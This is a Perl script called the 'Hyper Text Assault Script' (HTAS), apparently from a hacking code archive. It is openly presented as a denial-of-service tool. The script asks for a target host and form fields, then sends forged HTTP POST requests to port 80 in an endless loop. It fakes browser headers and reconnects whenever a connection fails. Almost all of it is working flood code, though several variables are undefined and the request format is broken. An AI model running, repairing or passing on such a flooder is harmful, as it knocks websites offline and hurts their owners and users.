./c0de/perl/ddos.txt

0.
1.
2.
3.
4.
5.
6.
7.
8.
9.
10.
11.
12.
13.
14.
15.
16.
17.
18.
19.
20.
21.
22.
23.
24.
25.
26.
27.
28.
29.
30.
31.
32.
33.
34.
35.
36.
37.
38.
39.
40.
41.
42.
43.
44.
45.
46.
47.
48.
49.
50.
51.
52.
53.
54.
55.
56.
57.
58.
59.
60.
61.
62.
63.
64.
65.
66.
67.
68.
69.
70.
71.
72.
73.
74.
75.
76.
77.
78.
79.
80.
81.
82.
83.
84.
85.
86.
87.
88.
89.
90.
91.
92.
93.
94.
95.
96.
#!usr/bin/perl
#please dont edit this without including this.
#HTAS project --> Xer0X
use IO::Socket::INET;
print "Welcome to the Hyper Text Assault Script, or HTAS v1.0b";
while (!$ARGV[0]) {
   &usage; #change to usage subroutine
}
$x=1;
$gz00=1;
$Host = "$ARGV[0]";
$Port = 80;
 
print "\n Please enter...\n";
print "\n Path: (NOT SITE!):";
$url = <STDIN>;
chop($url);
print "First Form Name:";
$f1n = <STDIN>;
chop($f1n);
print "\n First Form Value:";
$f1v = <STDIN>;
chop($f1v);
print "\n amount of forms left:";
$amt = <STDIN>;
&aform(amt);
print "\n";
$PostGet = '';
 
###Subroutines
sub usage { #explanation of HTAS usage
   print "Usage{\n";
   print "Modules used:\n";
   print "IO::Socket::INET\n";
   print "-"x 10 . "\n";
   print "htas.pl <host>\n";
   print "Testing connection...\n";
   my $sock = IO::Socket::INET->new( PeerAddr => 'google.com', #yes i know not needed
                   PeerPort => 80,
                   Prot => 'tcp',
               )|| print "\nConnection Nonfunctional or website down.\n";
   print "Connection to test website (Google.com:80) successful.\n";
   print "Connection verified.\n" . ":>"x 40 . "\n";
   print "Hyper Text Assault Script version 1.0\n";
   print "This monster created by Xer0X\n}\n";
   exit;
   }
 
sub aform { #form creation subroutine
   $gzo = 0; #gzo = ground zer0
while ($gzo != $amt) {   
   print "Form " . $gzo . " name:";
   $bfn=<STDIN>;
   chop($bfn);
        $bfn=$bfn . $gzo;
   chop($bfn);
   print "Form " . $gzo . " value:";
   $bfv = <STDIN>;
   chop($bfv);
   $bfv = $bfv . $gzo;
   chop($bfv);
   $PostGet = "$PostGet" . "&" . "$bfn" . "=" . "$bfv";
   $gzo++;
   }
   &destroy;
}
 
sub printget {
   print "\n\n\n$PostGet";
}
 
sub destroy { #let us begin :D
 
while($x) {
print "$gz00";
$gz00++;
   my $sock = IO::Socket::INET->new( PeerAddr => "$Host",
                      PeerPort => 80,
                      Proto => "tcp",
               );
&destroy unless $sock;
print $sock "POST $url?$f1n=$f1v";
print $sock "Host: $host\n";
print $sock "Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5\n";
print $sock "Referer: $host\n";
print $sock "Accept-Language: en-us\n";
print $sock "Content-Type: application/x-www-form-urlencoded\n";
print $sock "Accept-Encoding: gzip, deflate\n";
print $sock "User-Agent: Mozilla/5.0 (BeOS; U; BeOS X.6; sp-ME; rv:1.7.8) Gecko/19500101 Firefox/0.0.beta3\n";
print $sock "Connection: Keep-Alive\n";
print $sock "Cache-Control: no-cache\n";
print $sock "Content-Length: $lrg\n\n";
print $sock "$PostGet\n";
close($sock);
}
}

Back